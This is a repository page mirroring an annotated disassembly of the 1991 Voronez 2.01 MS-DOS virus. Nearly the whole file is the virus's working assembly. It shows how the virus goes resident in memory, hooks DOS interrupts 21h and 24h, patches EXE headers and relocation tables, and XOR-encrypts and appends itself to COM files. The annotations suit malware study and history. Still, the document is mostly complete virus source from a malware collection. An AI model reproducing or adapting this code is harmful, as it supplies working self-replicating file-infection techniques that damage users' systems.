Mirrors/vxug-MalwareSourceCode
13
1
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
Code Releases Activity
main
vxug-MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.vor_1600.asm
vxunderground 4b9382ddbc re-organize 
push
2022-08-21 04:07:57 -05:00

1064 lines
37 KiB
NASM
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;=======================================================
; Virus Voronez 2.01 (August 1991 Zielona Gora, Poland)
;
; Disassembled by Andrzej Kadlof 1991 August
;
; (C) Polish Section Of Virus Information Bank
;=======================================================
1EE6 9A19240657 call 5706:2419
; victim code
1EEB 1E push ds
1EEC B82325 mov ax,2523
;...
;
;-------------------
; virus entry point
2419 8CD8 mov ax,ds
241B 0E push cs
241C 1F pop ds
241D 50 push ax
241E E80000 call 2421 ; get own offset
2421 5B pop bx
2422 81EB0801 sub bx,0108 ; virus base
2426 53 push bx
; is virus present in RAM?
2427 B4AB mov ah,AB ; call for resident part
2429 CD21 int 21
242B 3D5555 cmp ax,5555 ; expected answer
242E 7503 jne 2433 ; not instaled
2430 E9D000 jmp 2503 ; instaled, exit
; install wirus in RAM
2433 8CC0 mov ax,es ; PSP segment
2435 2D0100 sub ax,0001 ; MCB segment
2438 8ED8 mov ds,ax
243A BB0300 mov bx,0003 ; offset of size of block in MCB
243D 3E8B07 mov ax,ds:[bx] ; get size
2440 2DEA00 sub ax,00EA ; reserve 0EA0h bytes for virus (3744)
2443 3E8907 mov ds:[bx],ax ; store new block size
2446 06 push es ; restore DS
2447 1F pop ds
2448 BB0200 mov bx,0002 ; offset of MEM size in PSP
244B 3E8B07 mov ax,ds:[bx] ; get MEM size
244E 2DEA00 sub ax,00EA ; decrease by 3744 bytes
2451 3E8907 mov ds:[bx],ax ; set new value in PSP
2454 8EC0 mov es,ax ; segment for new virus location
2456 BF0001 mov di,0100 ; offset of destination
2459 BE0001 mov si,0100 ; offset of source
245C 5B pop bx ; virus base
245D 53 push bx
245E 01DE add si,bx ; start of virus code
2460 0E push cs ; set DS to virus code
2461 1F pop ds
2462 B9A406 mov cx,06A4 ; length (1700)
2465 F3A4 rep movsb ; move to new place
2467 8BD0 mov dx,ax ; segment of new location
2469 EB74 jmp 24DF ; continue
246B 90 nop
;------------------
; INT 21h handler
246C 9C pushf
246D FB sti
246E 80FCAB cmp ah,AB ; virus call
2471 7505 jne 2478 ; no
2473 B85555 mov ax,5555 ; answer: I'm here
2476 9D popf
2477 CF iret
2478 3D003D cmp ax,3D00 ; open file for read only
247B 7540 jne 24BD
; open file for read only
247D 50 push ax
247E 53 push bx
247F 51 push cx
2480 52 push dx
2481 56 push si
2482 57 push di
2483 06 push es
2484 B94100 mov cx,0041 ; maximum path length
2487 30C0 xor al,al
2489 8BFA mov di,dx ; offset of path
248B 1E push ds
248C 07 pop es
248D F2AE repnz scasb ; find end of string
248F 83EF04 sub di,0004 ; point at extension
2492 8BF7 mov si,di
2494 56 push si ; offset of extension
2495 0E push cs
2496 07 pop es
2497 B90400 mov cx,0004 ; extension length
249A BF8902 mov di,0289 ; is it EXE?
249D F3A6 rep cmpsb
249F 83F900 cmp cx,0000
24A2 7504 jne 24A8
24A4 5E pop si ; balance stack
24A5 EB0D jmp 24B4 ; skip exe comparison
24A7 90 nop
24A8 BF8C02 mov di,028C ; is it exe?
24AB B90400 mov cx,0004
24AE 5E pop si ; offset of extension
24AF F3A6 rep cmpsb
24B1 83F900 cmp cx,0000
; restore callers registers
24B4 07 pop es
24B5 5F pop di
24B6 5E pop si
24B7 5A pop dx
24B8 59 pop cx
24B9 5B pop bx
24BA 58 pop ax
24BB 7409 je 24C6 ; exe file, contaminate it!
; not EXE file, maybe COM or subfunction <> 3D00h
24BD 50 push ax ; store subfunction code
24BE FEC4 inc ah ; hide 4B00h comparison
24C0 3D004C cmp ax,4C00 ; "terminate" proces
24C3 58 pop ax ; restore subfunction
24C4 7513 jne 24D9 ; jump to old INT 21h
; EXE file will be open for read only or any file will be loaded and executed
; store caller registers again
24C6 50 push ax
24C7 53 push bx
24C8 51 push cx
24C9 52 push dx
24CA 56 push si
24CB 57 push di
24CC 06 push es
24CD 1E push ds
24CE E91F01 jmp 25F0 ; contaminate
; jump to old INT 21h
24D1 1F pop ds
24D2 07 pop es
24D3 5F pop di
24D4 5E pop si
24D5 5A pop dx
24D6 59 pop cx
24D7 5B pop bx
24D8 58 pop ax
24D9 9D popf
24DA EA60147902 jmp 0279:1460 ; old INT 21h
; ^^^^^^^^ old INT 21h (place holder)
;---------------------
; continue instalation
; get INT 21h
24DF 8EDA mov ds,dx ; DS points at new virus location
24E1 B82135 mov ax,3521
24E4 CD21 int 21
24E6 3E891EC201 mov ds:[01C2],bx ; modify own code
24EB 3E8C06C401 mov ds:[01C4],es
24F0 3E891E7503 mov ds:[0375],bx
24F5 3E8C067703 mov ds:[0377],es
; set new INT 21h
24FA 8D165301 lea dx,[0153] ; here 246C
24FE B82125 mov ax,2521
2501 CD21 int 21
2503 5A pop dx ; virus base
2504 BBB002 mov bx,02B0 ; offset of working varible
2507 01D3 add bx,dx ; add base
2509 2E803F00 cmp byte ptr [bx],00 ; carrier type
250D 7441 je 2550 ; carrier is COM file
; carrier is EXE file
250F 1F pop ds ; restore DS
2510 8CD8 mov ax,ds ; store new virus segment
2512 0E push cs
2513 1F pop ds
2514 8BCA mov cx,dx
2516 5F pop di ; entry point offset
2517 07 pop es ; entry point segment
2518 50 push ax
2519 83EF05 sub di,0005 ; length of FAR CALL
; improper handling of the case when relocation item points exactly at
; fifth byte of stored code
251C BEAF02 mov si,02AF ; extension of buffer
251F 01CE add si,cx ; virus base
2521 8A14 mov dl,[si] ; get sixth byte, this byte may by
; changed during relocation proces
; this byte should be added to sixth byte in file (counting from entry point)
2523 26005505 add es:[di+05],dl ; add key
2527 26385505 cmp es:[di+05],dl ; was DL = 0?
252B 7703 ja 2530 ; jump if no
252D 4E dec si
252E FE04 inc byte ptr [si]
2530 8BD7 mov dx,di ; destination
2532 BEAA02 mov si,02AA ; source buffer
2535 01CE add si,cx ; add base
2537 B90500 mov cx,0005 ; number of bytes
253A F3A4 rep movsb
253C 1F pop ds
253D 06 push es ; prepare long jump
253E 52 push dx
253F 8CD8 mov ax,ds ; reset registers
2541 8EC0 mov es,ax
2543 31C0 xor ax,ax
2545 31DB xor bx,bx
2547 31C9 xor cx,cx
2549 31D2 xor dx,dx
254B 31F6 xor si,si
254D 31FF xor di,di
254F CB retf ; jump to application
; exit to COM application
2550 8CC8 mov ax,cs
2552 8ED8 mov ds,ax
2554 8EC0 mov es,ax
2556 BE6802 mov si,0268 ; offset of encryption routine
2559 B90001 mov cx,0100 ; number of bytes
255C BB8102 mov bx,0281 ; file size
255F 8B3F mov di,[bx]
2561 83FF00 cmp di,0000 ; ??
2564 7502 jne 2568
2566 CD20 int 20 ; terminate
; form destination address
2568 BB8302 mov bx,0283 ; place holder for virus length
256B 8B07 mov ax,[bx] ; virus length
256D 01C7 add di,ax ; add to file size
256F 81C70001 add di,0100 ; size of PSP
2573 FC cld
2574 57 push di ; destination address
2575 F3A4 rep movsb ; move part of code
2577 5F pop di ; restore address
2578 8B0E8302 mov cx,[0283] ; virus size
257C A18102 mov ax,[0281] ; file length
257F 57 push di ; prepare jump
2580 C3 ret ; jump to moved code (here 2581)
;--------------------
; encryption routine
2581 050001 add ax,0100 ; PSP size
2584 8BF0 mov si,ax ; offset of encrypted block
2586 BF0001 mov di,0100 ; destination
2589 FC cld
; decrypt block and copy it to begin of file
258A 8A04 mov al,[si]
258C 34BB xor al,BB
258E 8805 mov [di],al
2590 46 inc si
2591 47 inc di
2592 E2F6 loop 258A
; jump to application
2594 B80001 mov ax,0100 ; entry point for EXE
2597 5B pop bx ; balance stack
2598 50 push ax ; prepare jump
2599 C3 ret ; jump to COM
; working area
259A 1926 ; [base + 0281] low word of file size
259C 4006 ; [base + 0283] size of virus, (high word of file length)
259E 014C ; [base + 0285] old INT 24h (offset)
25A0 169F ; [base + 0287] old INT 24h (segment)
25A2 45 58 45 ; [base + 0289] 'EXE'
25A5 65 78 65 ; [base + 028C] 'exe'
; unused
; below line after xoring with 1A become: OleynikozL - name of the wirus author
25A8 55 76 7F 63 74 73 71 75 60 56 ; Uvctsqu`
25B1 56 6F 72 6F 6E 65 7A 68 2C ; Voronezh,
25BA 31 39 39 30 20 32 2E 30 31 ; 1990 2.01
; used data
25C3 FC 0E 1F BA BB ; [base + 02AA] starting 5 bytes of EXE file
25C8 00 ; [base + 02AF] this byte is added to 02AE
; if it is 0 then [02AE] is decreased by 1
25C9 01 ; [base + 02B0] carrier type: 0 - EXE, 1 - COM
25CA 0002 ; [base + 02B1] offset in header for new relocation entry
25CC E61E ; [base + 02B3] IP of EXE file
25CE 0000 ; [base + 02B5] CS of EXE file
25D0 0000
25D2 00
25D3 0000 ; [base + 02BA] virus entry point in file on disk
25D5 E620 ; [base + 02BC] - [02B1]
25D7 0000 ; [base + 02BE] segment of virus entry point
25D9 1924 ; [base + 02C0] offset
25DB 9A ; [base + 02C2] code of CALL SSSS:OOOO
25DC 1924 ; [base + 02C3] OOOO
25DE 0000 ; [base + 02C5] SSSS
25E0 0000 ; [base + 02C7] file position low word
25E2 1E00 ; [base + 02C9] file position high word
25E4 0001 ; [base + 02CB] size of buffer
25E6 0000 ; [base + 02CD] total size of readed part of ReloTabl
25E8 00 ; [base + 02CF] number of disk (0 - default, 1 - A, ...)
25E9 2000 ; [base + 02D0] file attributes
25EB B438 ; [base + 02D2] offset of file name
25ED 0F4C ; [base + 02D4] segment of file name
;-----------------
; INT 24h handler
25EF CF iret
; jump here if EXE file is open or sam program is loaded and executed
; check file name, skip file if fourth and fifth characters in path are 'CO'
25F0 8BDA mov bx,dx ; offset of path
25F2 3E8B4703 mov ax,ds:[bx+03] ; skip 'd:\' (?)
25F6 3D434F cmp ax,4F43 ; 'CO' protect 'C:\COMMAND.COM' ?
25F9 7503 jne 25FE
25FB E9D3FE jmp 24D1 ; jump to old INT 21h
; check presence of disk specyfication
25FE 8BFA mov di,dx ; offset of path
2600 31C0 xor ax,ax
2602 2EC606CF0200 mov byte ptr [02CF],00 ; default
2608 3E807D013A cmp ds:byte ptr [di+01],3A ; ':' is disk specified?
260D 7509 jne 2618 ; no
; convert disk specyfication to number (A - 1, B - 2, ...)
260F 3E8A05 mov al,ds:[di]
2612 249F and al,9F ; convert
2614 2EA2CF02 mov [02CF],al ; store disk number
2618 B80043 mov ax,4300 ; get file attributes
261B CD21 int 21
; store address of path and file attributes
261D 2E890ED002 mov [02D0],cx
2622 2E8C1ED202 mov [02D2],ds
2627 2E8916D402 mov [02D4],dx
; intercepte INT 24h
262C 1E push ds
262D 52 push dx
262E 06 push es
262F 0E push cs
2630 1F pop ds
2631 B82435 mov ax,3524
2634 CD21 int 21
2636 891E8502 mov [0285],bx
263A 8C068702 mov [0287],es
263E BAD602 mov dx,02D6
2641 B82425 mov ax,2524
2644 CD21 int 21
2646 07 pop es
2647 5A pop dx
2648 1F pop ds
2649 1E push ds
264A 0E push cs
264B 1F pop ds
264C BB0001 mov bx,0100
264F B94007 mov cx,0740 ; offset of buffer
2652 29D9 sub cx,bx ; virus length
2654 BB8302 mov bx,0283 ; offset of varible
2657 890F mov [bx],cx ; size of virus/crypted block
2659 1F pop ds
265A 8BDA mov bx,dx ; waste of time
265C 1E push ds ; store address of path
265D 52 push dx
265E 53 push bx ; waste of time
265F 0E push cs
2660 1F pop ds
2661 B436 mov ah,36 ; disk free
2663 8A16CF02 mov dl,[02CF] ; disk number
2667 CD21 int 21
2669 3DFFFF cmp ax,FFFF ; check for error
266C 7509 jne 2677 ; ok
; disk not accessible, exit
266E 58 pop ax ; balance stack
266F 58 pop ax
2670 58 pop ax
2671 E8A203 call 2A16 ; restore INT 24h
2674 E95AFE jmp 24D1 ; jump to old INT 21h
; convert disk free space into bytes
2677 F7E3 mul bx
2679 F7E1 mul cx
267B 09D2 or dx,dx
267D 7506 jne 2685 ; plenty of free room
267F 3B068302 cmp ax,[0283] ; minimum disk free space
2683 72E9 jb 266E ; disk full, exit
2685 5B pop bx ; balance stack
2686 5A pop dx ; path address
2687 1F pop ds
2688 B8003D mov ax,3D00 ; open file for read only
268B 9C pushf
268C FA cli
268D 9A60147902 call 0279:1460 ; old INT 21h
; ^^^^^^^^ old INT 21h (place holder)
2692 7306 jnb 269A ; OK
2694 E87F03 call 2A16 ; restore INT 24h
2697 E937FE jmp 24D1 ; jump to old INT 21h
269A 50 push ax ; store handle
269B 8CC8 mov ax,cs ; set DS and ES to virus segment
269D 8ED8 mov ds,ax
269F 8EC0 mov es,ax
26A1 58 pop ax ; restore handle
26A2 50 push ax ; store handle
26A3 8BD8 mov bx,ax
26A5 B80057 mov ax,5700 ; get file time/date stamp
26A8 CD21 int 21
26AA 58 pop ax ; restore handle
26AB 51 push cx ; attributes
26AC 52 push dx ; offset of path
26AD 50 push ax ; handle
; get file size
26AE 8BD8 mov bx,ax ; handle
26B0 B90000 mov cx,0000
26B3 BA0000 mov dx,0000
26B6 B442 mov ah,42 ; move file ptr
26B8 B002 mov al,02 ; to EOF
26BA CD21 int 21
26BC BB8102 mov bx,0281 ; store low word of file length
26BF 8907 mov [bx],ax
; waste of time or programmers error
26C1 BB8302 mov bx,0283 ; 'store' high word of file length
26C4 8B0F mov cx,[bx] ; <- error (?), maybe: mov [bx],cx ?
; move file ptr to BOF
26C6 B90000 mov cx,0000
26C9 BA0000 mov dx,0000
26CC B80042 mov ax,4200 ; move file ptr to BOF
26CF 5B pop bx ; restore handle
26D0 53 push bx
26D1 CD21 int 21
; read [0283] bytes of file to buffer located above virus
26D3 BB8302 mov bx,0283 ; working varible
26D6 8B0F mov cx,[bx] ; length of virus/encrypted block
26D8 5B pop bx ; restore handle
26D9 53 push bx
26DA BA4007 mov dx,0740 ; buffer
26DD B43F mov ah,3F ; read file
26DF CD21 int 21
26E1 BE4007 mov si,0740 ; buffer
26E4 8B0C mov cx,[si] ; first word
26E6 81F98CD8 cmp cx,D88C ; signature in COM file
26EA 7509 jne 26F5 ; clear COM or EXE file
; this is infected COM file, exit
26EC 5B pop bx ; handle
26ED 58 pop ax ; balance stack
26EE 58 pop ax
26EF E81F03 call 2A11 ; close file and restore INT 24h
26F2 E9DCFD jmp 24D1 ; jump to old INT 21h
; is it EXE file or clear COM?
26F5 81F94D5A cmp cx,5A4D ; EXE marker
26F9 7403 je 26FE ; yes
26FB E98902 jmp 2987 ; infect COM file
; check EXE file
26FE 5B pop bx ; restore handle
26FF 53 push bx
2700 B80042 mov ax,4200 ; move file ptr to BOF
2703 31C9 xor cx,cx
2705 31D2 xor dx,dx
2707 CD21 int 21
2709 B93200 mov cx,0032 ; block size
270C B8003F mov ax,3F00 ; read file
270F 8D164007 lea dx,[0740] ; buffer
2713 CD21 int 21
; check free place in relocation table
2715 A14607 mov ax,[0746] ; ReloCnt
2718 B90400 mov cx,0004 ; entry size
271B F7E1 mul cx ; AX size of relocation table
271D 8B1E5807 mov bx,[0758] ; TablOff
2721 01D8 add ax,bx
2723 8BD0 mov dx,ax ; size of used area in header
2725 8BFA mov di,dx
2727 A14807 mov ax,[0748] ; HdrSize
272A B91000 mov cx,0010 ; convert to bytes
272D F7E1 mul cx
272F 8BD7 mov dx,di ; used header size
2731 83C204 add dx,0004 ; one additional entry
2734 39D0 cmp ax,dx ; is free space?
2736 7703 ja 273B ; yes
2738 E94902 jmp 2984 ; relocation table is full, exit
; prepare new header
273B A3B102 mov [02B1],ax ; offset of first unused entry
273E A14607 mov ax,[0746] ; ReloCnt
2741 40 inc ax ; add one entry
2742 A34607 mov [0746],ax ; ReloCnt, store new value of counter
2745 A15407 mov ax,[0754] ; IP
2748 A3B302 mov [02B3],ax ; store oryginal IP
274B A15607 mov ax,[0756] ; CS
274E A3B502 mov [02B5],ax ; store oryginal CS
2751 31D2 xor dx,dx
2753 31C9 xor cx,cx
2755 B80242 mov ax,4202 ; move file ptr to EOF
2758 5B pop bx ; restore handle
2759 53 push bx
275A CD21 int 21
275C 50 push ax ; store file length
275D 52 push dx
275E 03068302 add ax,[0283] ; find new file length
2762 3B068302 cmp ax,[0283] ; long integer addition
2766 7701 ja 2769
2768 42 inc dx ; high word of file length
2769 B90002 mov cx,0200 ; convert into 512 byte pages
276C F7F1 div cx
276E 83FA00 cmp dx,0000 ; last page non empty?
2771 7401 je 2774
2773 40 inc ax ; count last page
; check if header information match to real file size
2774 8B1E4407 mov bx,[0744] ; PageCnt
2778 8BC8 mov cx,ax ; new PageCnt
277A 29D9 sub cx,bx ; diference
277C 83F905 cmp cx,0005 ; maximum possible
277F 7205 jb 2786 ; OK, continue infection
; there is some information above program in EXE file, do not infect such a
; file, exit
2781 58 pop ax
2782 58 pop ax
2783 E9FE01 jmp 2984
; continue infection
2786 A34407 mov [0744],ax ; PageCnt, store new value
2789 5A pop dx ; restore file length
278A 58 pop ax ; low word of file length
278B 8B1EB102 mov bx,[02B1] ; position of free relocation entry
278F 39D8 cmp ax,bx
2791 7205 jb 2798
; find length of file part above last entry in relocation table
2793 29D8 sub ax,bx
2795 EB04 jmp 279B
2797 90 nop
2798 29D8 sub ax,bx
279A 4A dec dx
279B 8916BE02 mov [02BE],dx ; address of virus entry point (segment)
279F A3C002 mov [02C0],ax ; offset
27A2 A1B102 mov ax,[02B1] ; offset in relocation table
27A5 8B1EB302 mov bx,[02B3] ; IP
27A9 BA0000 mov dx,0000 ; prepare long integer addition
27AC 01D8 add ax,bx ; add long integer
27AE 39D8 cmp ax,bx
27B0 7701 ja 27B3
27B2 42 inc dx
27B3 8BF0 mov si,ax ; offset of entry point
27B5 8BFA mov di,dx ; high word
27B7 A1B502 mov ax,[02B5] ; CS
27BA B91000 mov cx,0010 ; convert to bytes
27BD F7E1 mul cx
27BF 01D7 add di,dx ; high word
27C1 01C6 add si,ax ; low word
27C3 39C6 cmp si,ax
27C5 7701 ja 27C8
27C7 47 inc di
; store distance in file between first free entry in relocation table and
; program entry point in disk file
27C8 8BC6 mov ax,si
27CA 8BD7 mov dx,di
27CC 8916BA02 mov [02BA],dx
27D0 A3BC02 mov [02BC],ax
; move file position to entry point
27D3 8BCA mov cx,dx
27D5 8BD0 mov dx,ax
27D7 B80042 mov ax,4200 ; move file ptr
27DA C606B00201 mov byte ptr [02B0],01 ; flag: EXE file
27DF C606AF0200 mov byte ptr [02AF],00 ; buffer extension
27E4 5B pop bx ; handle
27E5 53 push bx
27E6 CD21 int 21
; read oryginal five bytes from entry point
27E8 B90500 mov cx,0005 ; number of bytes
27EB 8D16AA02 lea dx,[02AA] ; local buffer
27EF B8003F mov ax,3F00 ; read file
27F2 CD21 int 21
27F4 803EAA029A cmp byte ptr [02AA],9A ; signature
27F9 7503 jne 27FE ; not infected, continue
27FB E98601 jmp 2984 ; do not infect, exit
; continue infection
27FE E82302 call 2A24 ; clear attributes and reopen for read/write
; move file ptr to first not used entry in relocation table
2801 8B1E5807 mov bx,[0758] ; TableOff
2805 A14607 mov ax,[0746] ; ReloCnt
2808 48 dec ax ; count starts from zero
2809 B90400 mov cx,0004 ; entry size
280C F7E1 mul cx
280E 01C3 add bx,ax ; offset in table
2810 B90000 mov cx,0000
2813 8BD3 mov dx,bx
2815 B80042 mov ax,4200 ; move file ptr to BOF
2818 5B pop bx ; handle
2819 53 push bx
281A CD21 int 21
; write new relocation table entry
281C 8B16B302 mov dx,[02B3] ; IP
2820 83C203 add dx,0003 ; length of instruction code and offset
2823 8916B302 mov [02B3],dx ; pointer to segment word
2827 8D16B302 lea dx,[02B3] ; buffer with CS:IP
282B B90400 mov cx,0004 ; buffer size
282E B440 mov ah,40 ; write file
2830 5B pop bx ; handle
2831 53 push bx
2832 CD21 int 21
; restore IP in [02B3]
2834 8B16B302 mov dx,[02B3]
2838 83EA03 sub dx,0003
283B 8916B302 mov [02B3],dx
; move file ptr to begin of file
283F 31D2 xor dx,dx
2841 31C9 xor cx,cx
2843 B80042 mov ax,4200 ; move file ptr to BOF
2846 5B pop bx ; handle
2847 53 push bx
2848 CD21 int 21
; write new header to file
284A 8B0E5807 mov cx,[0758] ; TableOff, number of bytes to write
284E 8D164007 lea dx,[0740] ; offset of buffer
2852 B440 mov ah,40 ; write file
2854 CD21 int 21
; form code for instruction of far call to virus
2856 C606C2029A mov byte ptr [02C2],9A ; code for CALL ssss:oooo
285B A1C002 mov ax,[02C0] ; offset of virus entry point in RAM
285E A3C302 mov [02C3],ax ; store in buffer
2861 A1BE02 mov ax,[02BE] ; segment
2864 B90010 mov cx,1000 ; ??
2867 F7E1 mul cx
2869 A3C502 mov [02C5],ax ; new segment
286C 813EC30200F0 cmp word ptr [02C3],F000
2872 7215 jb 2889
; keep offset below F000
2874 A1C302 mov ax,[02C3]
2877 8B16C502 mov dx,[02C5]
287B 81C20001 add dx,0100 ; adjust segment
287F 2D0010 sub ax,1000 ; decrease offset
2882 8916C502 mov [02C5],dx ; store new values
2886 A3C302 mov [02C3],ax
; write to disk new entry point code
2889 8B0EBA02 mov cx,[02BA] ; virus entry point on disk file
288D 8B16BC02 mov dx,[02BC]
2891 B80042 mov ax,4200 ; move file ptr
2894 5B pop bx
2895 53 push bx
2896 CD21 int 21
2898 B90500 mov cx,0005 ; buffer length
289B B440 mov ah,40 ; write file
289D 8D16C202 lea dx,[02C2] ; buffeer with CALL SSSS:OOOO
28A1 CD21 int 21
; append to file virus code
28A3 B90000 mov cx,0000
28A6 BA0000 mov dx,0000
28A9 B80242 mov ax,4202 ; move file ptr to EOF
28AC 5B pop bx ; handle
28AD 53 push bx
28AE CD21 int 21
28B0 B440 mov ah,40 ; write file
28B2 8B0E8302 mov cx,[0283] ; virus length
28B6 BA0001 mov dx,0100 ; offset of virus code in RAM
28B9 CD21 int 21
; analyse relocation table
28BB 31C9 xor cx,cx
28BD 8B165807 mov dx,[0758] ; TablOff
28C1 B80042 mov ax,4200 ; move file ptr
28C4 5B pop bx ; handle
28C5 53 push bx
28C6 CD21 int 21
28C8 C706CD020000 mov word ptr [02CD],0000
28CE 8916C702 mov [02C7],dx ; store file position
28D2 A3C902 mov [02C9],ax
28D5 A14607 mov ax,[0746] ; ReloCnt
28D8 BF0000 mov di,0000
28DB 48 dec ax ; restore oryginal value
28DC 3D0000 cmp ax,0000
28DF 7503 jne 28E4 ; analyse relocation table
; if oryginal relocation table was empty then exit
28E1 E9A000 jmp 2984 ; close file, restore attr etc.
; find size of relocation table
28E4 B90400 mov cx,0004
28E7 F7E1 mul cx
28E9 8BF0 mov si,ax ; offset of last used entry
; get current file position (this is the begin of relocation teble)
28EB B90000 mov cx,0000
28EE BA0000 mov dx,0000
28F1 B80142 mov ax,4201 ; move file ptr rel current position
28F4 CD21 int 21
; read part of relocation table
28F6 8916C702 mov [02C7],dx ; store file position
28FA A3C902 mov [02C9],ax
28FD B90001 mov cx,0100 ; number of bytes
2900 BA0000 mov dx,0000 ; buffer
2903 B8003F mov ax,3F00 ; read file
2906 CD21 int 21
2908 BF0000 mov di,0000 ; point at relocation table
290B A3CB02 mov [02CB],ax ; number of bytes readed
290E 0106CD02 add [02CD],ax ; total number of readed bytes
; check relocation table entry
2912 8B4502 mov ax,[di+02] ; get segment
2915 3B06B502 cmp ax,[02B5] ; is it CS
2919 7551 jne 296C ; check next entry
291B 8B05 mov ax,[di] ; get offset
291D 3B06B302 cmp ax,[02B3] ; is it IP
2921 7249 jb 296C ; check next entry
; relocatin item points at entry point or above
2923 A1B302 mov ax,[02B3] ; IP
2926 050500 add ax,0005 ; length of far call
2929 3B05 cmp ax,[di] ; relocation item point inside call code
292B 763F jbe 296C ; no, consider next entry
; modify relocation table and write it to file
; let relocation item point at the same code but now stored in virus
; body in local buffer
292D A1C502 mov ax,[02C5] ; segment of virus entry point
2930 894502 mov [di+02],ax ; store in buffer
2933 8B05 mov ax,[di] ; offset
2935 8B1EB302 mov bx,[02B3] ; old IP
2939 29D8 sub ax,bx
293B 50 push ax ; store
293C B8AA02 mov ax,02AA ; offset of local buffer
293F 2D0001 sub ax,0100 ; offset in virus body
2942 8B1EC302 mov bx,[02C3] ; offset of entry point in RAM
2946 01D8 add ax,bx
2948 5B pop bx
2949 01D8 add ax,bx
294B 8905 mov [di],ax ; new offset
294D 8B0EC702 mov cx,[02C7] ; restore file position
2951 8B16C902 mov dx,[02C9]
2955 B80042 mov ax,4200 ; move file ptr
2958 5B pop bx ; restore handle
2959 53 push bx
295A CD21 int 21
295C 8B0ECB02 mov cx,[02CB] ; number of bytes
2960 B440 mov ah,40 ; write file
2962 5B pop bx ; handle
2963 53 push bx
2964 BA0000 mov dx,0000 ; from
2967 CD21 int 21
2969 EB19 jmp 2984 ; close file, etc. exit
296B 90 nop
296C 83C704 add di,0004 ; next entry in relocation table
296F A1CD02 mov ax,[02CD] ; number of readed bytes
2972 2D0001 sub ax,0100 ; buffer size
2975 01F8 add ax,di ; current position in table
2977 39F0 cmp ax,si ; table size
2979 7409 je 2984 ; close file, etc. exit
297B 3B3ECB02 cmp di,[02CB] ; end of buffer?
297F 7291 jb 2912 ; no, check next relocation item
2981 E967FF jmp 28EB ; read next part of relocation table
2984 EB67 jmp 29ED ; close file, etc. and exit
2986 90 nop
;-------------------
; infect COM file
; check maximum file size
2987 8B0E8102 mov cx,[0281] ; file size
298B 81F948EE cmp cx,EE48 ; maximum file size (61000)
298F 7209 jb 299A
; file too long or too short, exit
2991 5B pop bx
2992 58 pop ax
2993 58 pop ax
2994 E87A00 call 2A11 ; close file and restore INT 24h
2997 E937FB jmp 24D1 ; jump to old INT 21h
; check minimum file size
299A 3B0E8302 cmp cx,[0283] ; virus length, minimum file size
299E 72F1 jb 2991 ; file too short, exit
29A0 E88100 call 2A24 ; clear attributes and reopen file
29A3 C606B00200 mov byte ptr [02B0],00
; get file size
29A8 BA0000 mov dx,0000
29AB B90000 mov cx,0000
29AE B80242 mov ax,4202 ; move file ptr to EOF
29B1 5B pop bx ; restore handle
29B2 53 push bx
29B3 CD21 int 21
29B5 BE8302 mov si,0283
29B8 8B0C mov cx,[si] ; virus size
29BA B440 mov ah,40 ; write file
29BC 51 push cx
29BD BB4007 mov bx,0740 ; offset of buffer
; encrypt block
29C0 8A07 mov al,[bx]
29C2 34BB xor al,BB
29C4 8807 mov [bx],al
29C6 43 inc bx
29C7 E2F7 loop 29C0
; write to file
29C9 59 pop cx ; block size
29CA 5B pop bx ; handle
29CB 53 push bx
29CC BA4007 mov dx,0740 ; offset of buffer
29CF CD21 int 21
29D1 B80042 mov ax,4200 ; move file ptr to BOF
29D4 BA0000 mov dx,0000
29D7 B90000 mov cx,0000
29DA CD21 int 21
29DC BB1001 mov bx,0110 ; faked instruction
29DF BE8302 mov si,0283
29E2 8B0C mov cx,[si]
29E4 BA0001 mov dx,0100
29E7 B440 mov ah,40 ; write file
29E9 5B pop bx ; handle
29EA 53 push bx
29EB CD21 int 21
; common (EXE and COM) exit code, restore file date/time stamp
29ED 5B pop bx ; handle
29EE 5A pop dx ; file date stamp
29EF 59 pop cx ; file time stamp
29F0 53 push bx ; store handle
29F1 B80157 mov ax,5701 ; restore file time/date stamp
29F4 CD21 int 21
; restore file attributes
29F6 8B16D402 mov dx,[02D4] ; path offset
29FA 8E1ED202 mov ds,[02D2] ; path segment
29FE B80143 mov ax,4301 ; set file attributes
2A01 2E8B0ED002 mov cx,cs:[02D0] ; restore attributes
2A06 CD21 int 21
2A08 0E push cs
2A09 1F pop ds
2A0A 5B pop bx ; handle
2A0B E80300 call 2A11 ; close file and restore INT 24h
2A0E E9C0FA jmp 24D1 ; jump to old INT 21h
;-------------------------------
; close file and restore INT 24h
2A11 B8003E mov ax,3E00 ; close file
2A14 CD21 int 21
;----------------
; restore INT 24h
2A16 8B1E8502 mov bx,[0285]
2A1A 8E068702 mov es,[0287]
2A1E B82425 mov ax,2524 ; restore INT 24h
2A21 CD21 int 21
2A23 C3 ret
;------------------------------------------------
; clear file attributes and reopen for read/write
2A24 55 push bp
2A25 8BEC mov bp,sp
2A27 1E push ds
2A28 B80143 mov ax,4301 ; set file attributes
2A2B 8B16D402 mov dx,[02D4] ; path offset
2A2F 8E1ED202 mov ds,[02D2] ; path segment
2A33 31C9 xor cx,cx ; clear all
2A35 CD21 int 21
2A37 7306 jnb 2A3F ; continue
; exit to old INT 21h
2A39 1F pop ds
2A3A 5D pop bp
2A3B 58 pop ax
2A3C E945FF jmp 2984 ; exit
2A3F 368B5E04 mov bx,ss:[bp+04] ; restore handle
2A43 B8003E mov ax,3E00 ; close file
2A46 CD21 int 21
2A48 B8023D mov ax,3D02 ; open file for read/write
2A4B FA cli
2A4C 9C pushf
2A4D 2EFF1EC201 call far [01C2] ; old INT 21h
2A52 1F pop ds
2A53 36894604 mov ss:[bp+04],ax ; handle
2A57 5D pop bp
2A58 C3 ret
; end of file
;----------------------------------------
; buffer for header of infected EXE file
cs:0740 ; 'MZ'
cs:0742 ; PartPag
cs:0744 ; PageCnt
cs:0746 ; ReloCnt
cs:0748 ; HdrSize
cs:074a ; MinMem
cs:074c ; MaxMem
cs:074e ; ReloSS
cs:0750 ; ExeSP
cs:0752 ; ChkSum
cs:0754 ; ExeIP
cs:0756 ; ReloCS
cs:0758 ; TablOff
cs:075a ; Overlay
View Git Blame Copy Permalink